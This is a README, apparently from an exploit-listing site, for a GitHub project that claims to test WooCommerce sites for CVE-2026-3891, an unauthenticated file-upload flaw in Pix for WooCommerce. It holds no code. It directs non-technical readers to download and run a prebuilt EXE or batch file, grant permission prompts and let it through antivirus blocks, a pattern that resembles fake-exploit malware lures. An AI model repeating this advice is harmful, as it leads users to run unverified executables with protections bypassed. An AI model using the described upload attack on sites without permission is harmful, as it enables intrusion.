## https://sploitus.com/exploit?id=4B9F2378-77A3-5496-A5E1-15646322BD17
# ⚠️ CVE-2026-3891 - Test Pix for WooCommerce Security
[](https://github.com/vladimirmanylobed451/CVE-2026-3891/releases)
---
## 📋 About This Tool
This application shows how an attacker can upload files without logging in to WooCommerce sites using Pix versions 1.5.0 or older. It helps security testers check if their sites are safe from this issue. The software runs on Windows and uses Python to work.
You do not need to know programming to use it. The main goal is to see if your WooCommerce site is vulnerable so you can fix it.
---
## 💻 System Requirements
- Windows 10 or newer
- At least 4 GB of RAM
- 500 MB free disk space
- Internet connection (for downloading and running)
- Basic use of Windows Explorer and web browser
---
## 🚀 Getting Started
This section guides you to get the application on your computer and run it for the first time.
### Step 1: Visit the Download Page
Click the big green button above or this link:
[https://github.com/vladimirmanylobed451/CVE-2026-3891/releases](https://github.com/vladimirmanylobed451/CVE-2026-3891/releases)
This page contains the latest versions. You will find files to download on this page.
### Step 2: Download the Latest Version
Look for the most recent version in the list. Usually, it will have a name like "CVE-2026-3891.zip" or "CVE-2026-3891.exe".
- If you see a ZIP file, download it, then extract it.
- If you see an EXE file, download it directly.
### Step 3: Extract the Files (if ZIP)
- Right-click the ZIP file.
- Select “Extract All...”
- Choose a folder where you want the files.
- Click “Extract”.
### Step 4: Run the Application
- Open the extracted folder.
- Find the file named "start.bat" or "run.exe".
- Double-click to start.
If Windows asks for permission, click “Yes”. This will launch the application.
---
## ⚙️ How to Use the Application
Once open, follow these steps to test your WooCommerce site against this vulnerability.
1. Enter your WooCommerce site URL in the box marked "Target URL."
2. Click “Start Test”.
3. The tool will check if the site lets you upload files without login.
4. Wait for the test to finish.
5. See the results displayed on the screen.
- If the result says "Vulnerable," your site needs fixing.
- If it says "Not Vulnerable," your site is protected.
---
## 📝 What Does This Tool Check?
This tool simulates an exploit where attackers upload files without signing in. Such uploads can let attackers run harmful code on your website. This vulnerability affects Pix for WooCommerce versions 1.5.0 and earlier.
It shows how the upload happens and helps you confirm your site’s security.
---
## ❔ Why Should You Use This?
- Protects your site before attackers find the flaw.
- Helps administrators improve site security.
- Easy to use without technical skills.
- Saves time by making checks fast and clear.
---
## 🔧 Troubleshooting and Tips
- If the application does not start, check your antivirus. Sometimes it blocks unknown programs. Allow it to run if you trust the source.
- If the link you entered is incorrect, the tool won’t work. Make sure you copy your site’s address exactly.
- If you see errors about missing Python, the software comes with what you need. Just run the file provided; no extra setup is required.
- Use a stable internet connection during tests. The program may need to access your site during checks.
---
## 🔗 Download and Installation Links
Your main source for this tool is the GitHub Releases page. Always download from here to get the latest and safest version.
[Download CVE-2026-3891 Releases](https://github.com/vladimirmanylobed451/CVE-2026-3891/releases)
---
## ⚠️ Safety and Security Advice
Use this tool only on websites you own or have explicit permission to test. Running it on others’ sites without permission is illegal.
Always keep your plugins, like WooCommerce and Pix, updated to avoid vulnerabilities.
If you find your site is vulnerable, contact your hosting provider or web developer for help fixing the issue.
---
## 🧰 Requirements for Running Tests
- Administrator or owner access to the WooCommerce site for follow-up actions.
- Basic knowledge of how to update WordPress plugins.
- Access to site error logs may help if you want to dig deeper after the test.
---
## 👨💻 Technical Notes
- Written in Python. The program includes all needed Python files.
- Uses a method that targets the known vulnerability known as CVE-2026-3891.
- Runs on Windows without extra installations.
- Not a hacking tool but a testing tool for authorized use.
---
## 📂 Folder Contents (After Extraction)
- `README.md` – This file with instructions.
- `run.exe` or `start.bat` – Start the application.
- Supporting Python scripts and libraries.
- A license file describing permissions for use.
---
## ⚙️ How to Update This Tool
Check the GitHub Releases page regularly. Download the newest release to get the latest fixes and improvements.
Replace the old folder with the new one after downloading and extracting.
---
## 🛠 Support and Contact
This project does not offer direct support. For questions about the vulnerability, refer to trusted security forums or your web hosting support.
---
## 🏷️ Project Topics
This project covers:
- cve
- cve-2026-3891
- exploit
- pentest-tool
- security
- wordpress
- vulnerabilities
Use the tool responsibly and with proper permission.